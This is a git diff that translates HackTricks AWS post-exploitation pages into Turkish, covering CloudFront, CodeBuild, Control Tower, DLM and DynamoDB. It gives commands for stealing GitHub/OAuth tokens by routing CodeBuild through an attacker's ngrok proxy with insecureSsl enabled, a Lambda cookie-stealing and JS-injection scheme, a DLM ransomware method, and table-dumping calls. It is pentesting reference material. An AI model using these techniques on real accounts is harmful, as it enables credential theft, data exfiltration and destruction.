b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -4,7 +4,7 @@ ## CloudFront -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-cloudfront-enum.md @@ -12,24 +12,20 @@ For more information check: ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +Bu [**blog yazısı**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) bir **Lambda**'nın **CloudFront üzerinden iletişime** eklenebileceği (veya zaten kullanılıyorsa değiştirilebileceği) birkaç farklı senaryo önermektedir. Amaç, kullanıcı bilgilerini (örneğin oturum **çerezi**) **çalmaktır** ve **yanıtı** **değiştirmektir** (kötü niyetli bir JS scripti enjekte etmek). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### senaryo 1: CloudFront'un bir bucket'ın bazı HTML'lerine erişim sağlamak için yapılandırıldığı MitM -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **Kötü niyetli** **fonksiyonu** **oluşturun**. +- Bunu CloudFront dağıtımı ile **ilişkilendirin**. +- **Olay türünü "Viewer Response"** olarak ayarlayın. -Accessing the response you could steal the users cookie and inject a malicious JS. +Yanıta erişerek kullanıcıların çerezini çalabilir ve kötü niyetli bir JS enjekte edebilirsiniz. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### senaryo 2: CloudFront'un zaten bir lambda fonksiyonu kullandığı MitM -- **Modify the code** of the lambda function to steal sensitive information +- Hassas bilgileri çalmak için lambda fonksiyonunun **kodunu değiştirin**. -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Bu senaryoları yeniden oluşturmak için [**tf kodunu buradan kontrol edebilirsiniz**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..9173c5943 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,85 +4,73 @@ ## CodeBuild -For more information, check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Check Secrets +### Gizli Anahtarları Kontrol Et -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +Eğer Codebuild'de Github, Gitlab veya Bitbucket'a bağlanmak için kişisel tokenlar, şifreler veya OAuth token erişimi şeklinde kimlik bilgileri ayarlandıysa, bu **kimlik bilgileri gizli yöneticide gizli olarak saklanacaktır**.\ +Bu nedenle, gizli yöneticiyi okuma erişiminiz varsa, bu gizli bilgileri alabilir ve bağlı platforma geçiş yapabilirsiniz. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Abuse CodeBuild Repo Access +### CodeBuild Repo Erişimini Kötüye Kullanma -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +**CodeBuild**'i yapılandırmak için, kullanacağı **kod deposuna erişim** gerekecektir. Bu kodu barındıran birkaç platform olabilir:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +**CodeBuild projesinin**, yapılandırılmış kaynak sağlayıcısına erişimi olmalıdır; bu, **IAM rolü** veya bir github/bitbucket **token veya OAuth erişimi** ile olabilir. -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +**CodeBuild** üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kötüye kullanarak yapılandırılmış deponun kodunu ve ayarlanan kimlik bilgilerine erişimi olan diğerlerini sızdırabilir.\ +Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerine erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
-And **change the Buildspec commands to exfiltrate each repo**. +Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştirmek**. > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> Ancak, bu **görev tekrarlayıcı ve zahmetlidir** ve eğer bir github tokenı **yazma izinleriyle yapılandırıldıysa**, bir saldırgan **bu izinleri (kötüye) kullanamayacaktır** çünkü tokena erişimi yoktur.\ +> Ya da var mı? Sonraki bölümü kontrol edin -### Leaking Access Tokens from AWS CodeBuild - -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: +### AWS CodeBuild'den Erişim Tokenlarını Sızdırma +CodeBuild'de Github gibi platformlara verilen erişimi sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin: ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +Bir saldırgan, tüm bir CodeBuild projesini silebilir, bu da proje yapılandırmasının kaybına ve projeye bağımlı uygulamaların etkilenmesine neden olabilir. ```bash aws codebuild delete-project --name ``` - -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. +**Potansiyel Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi. ### `codebuild:TagResource` , `codebuild:UntagResource` -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Bir saldırgan, CodeBuild kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması. ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +Bir saldırgan, bir Git deposu için kaynak kimlik bilgilerini silebilir ve bu, deponun normal işleyişine bağımlı olan uygulamaları etkileyebilir. ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**Potansiyel Etki**: Kaynak kimlik bilgilerinin kaldırılması nedeniyle etkilenen depoya bağımlı uygulamaların normal işleyişinin kesintiye uğraması. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..bdbc989c1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,73 +2,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens - -First, check if there are any source credentials configured that you could leak: +## Github/Bitbucket Yapılandırılmış Token'larını Kurtarma +Öncelikle, sızdırabileceğiniz herhangi bir kaynak kimlik bilgisi yapılandırılıp yapılandırılmadığını kontrol edin: ```bash aws codebuild list-source-credentials ``` +### Docker Görüntüsü Üzerinden -### Via Docker Image +Eğer örneğin Github'a kimlik doğrulamanın hesapta ayarlandığını bulursanız, Codebuild'i projeyi oluşturmak için **belirli bir docker görüntüsü** kullanmaya zorlayarak bu **erişimi** (**GH token veya OAuth token**) **sızdırabilirsiniz**. -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +Bu amaçla **yeni bir Codebuild projesi oluşturabilir** veya mevcut birinin **ortamını** değiştirerek **Docker görüntüsünü** ayarlayabilirsiniz. -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, **env değişkenlerini `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** ayarlayacak çok temel bir Docker görüntüsüdür. Bu, **`https_proxy`** ve **`http_proxy`**'da belirtilen ana bilgisayarın trafiğinin çoğunu kesmenizi ve **`SSL_CERT_FILE`**'da belirtilen SSL CERT'ine güvenmenizi sağlar. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. - -1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin** +- Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**. +- **`http_proxy`**'yu ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin. +- Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`. +- Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...). +2. **Ortamı ayarlayın** +- **Yeni bir Codebuild projesi oluşturun** veya mevcut birinin ortamını **değiştirin**. +- Projeyi **önceden oluşturulmuş Docker görüntüsünü** kullanacak şekilde ayarlayın.
-3. **Set the MitM proxy in your host** - -- As indicated in the **Github repo** you could use something like: +3. **Ana bilgisayarınızdaki MitM proxy'yi ayarlayın** +- **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> Kullanılan **mitmproxy sürümü 9.0.1** idi, sürüm 10 ile bunun çalışmayabileceği bildirildi. -4. **Run the build & capture the credentials** +4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın** -- You can see the token in the **Authorization** header: +- **Authorization** başlığında token'ı görebilirsiniz: -
- -This could also be done from the aws cli with something like +
+Bu, aws cli üzerinden de şöyle yapılabilir: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. - -- First you need to enumerate the current configuration with something like: +**Codebuild** projelerinin, yalnızca API üzerinden değiştirilebilen, webde gizli bir ayarı olan **`insecureSsl`** vardır.\ +Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır. +- Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir: ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu fark edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir). +- Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin: ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından belirtilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın. ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
-### ~~Via HTTP protocol~~ +### ~~HTTP protokolü aracılığıyla~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **kodu erişmek için kullanılan geçici OAuth token'ını** sızdırabilir. -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Ardından, github reposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions` +- Son olarak, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın. ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- Sonra, **Projeyi oluştur** seçeneğine tıklayın veya komut satırından oluşturmayı başlatın: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Sonunda, **kimlik bilgileri** **açık metin** (base64) olarak mitm portuna **gönderilecektir**:
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> Artık bir saldırgan, makinesinden token'ı kullanarak, sahip olduğu tüm ayrıcalıkları listeleyebilir ve CodeBuild hizmetini doğrudan kullanmaktan daha kolay bir şekilde (kötüye) kullanabilir. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..6b7a5fe24 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,17 +8,11 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### Kontrolleri Etkinleştir / Devre Dışı Bırak +Bir hesabı daha fazla istismar etmek için, Control Tower kontrollerini devre dışı bırakmanız/etkinleştirmeniz gerekebilir: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..b8cd1405f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -2,98 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## Data Lifecycle Manger (DLM) +## Veri Yaşam Döngüsü Yöneticisi (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, Amazon DLM kullanılabilir, anlık görüntüleri başka bir AWS hesabından bir KMS anahtarı ile şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür. -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +Öncelikle, örnek ID'si, hacim ID'si, şifreleme durumu, ekleme durumu ve hacim türü gibi hacimlerle ilgili bilgileri toplamak için bir komut kullanılacaktır. `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +İkincisi, yaşam döngüsü politikasını oluşturacaktır. Bu komut, belirli hacimlerin her gün belirli bir saatte otomatik olarak anlık görüntülerini alan bir yaşam döngüsü politikası kurmak için DLM API'sini kullanır. Ayrıca anlık görüntülere belirli etiketler uygular ve hacimlerden anlık görüntülere etiketleri kopyalar. policyDetails.json dosyası, hedef etiketler, program, şifreleme için isteğe bağlı KMS anahtarının ARN'si ve anlık görüntü paylaşımı için hedef hesap gibi yaşam döngüsü politikasının ayrıntılarını içerir; bu bilgiler kurbanın CloudTrail günlüklerinde kaydedilecektir. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +Bir politika belgesi için şablon burada görülebilir: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - "UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..d136e0533 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +Bu izinlere sahip bir saldırgan, **birincil anahtar ile tabloların içeriğini alabilecektir** (tablonun tüm verilerini isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunu tablo meta verilerini alarak (`describe-table`) öğrenebilirsiniz). {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Olası Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**Önceki izinlere benzer** bu izin, potansiyel bir saldırganın, alınacak girişin birincil anahtarını vererek yalnızca 1 tablodan değerleri okumasına olanak tanır: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +Bu izinle birlikte **`transact-get-items`** yöntemini de şu şekilde kullanmak mümkündür: ```json aws dynamodb transact-get-items \ - --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**Önceki izinlere benzer** bu izin, potansiyel bir saldırganın, alınacak girişin birincil anahtarını vererek yalnızca 1 tablodan değerleri okumasına olanak tanır. [Karşılaştırmaların bir alt 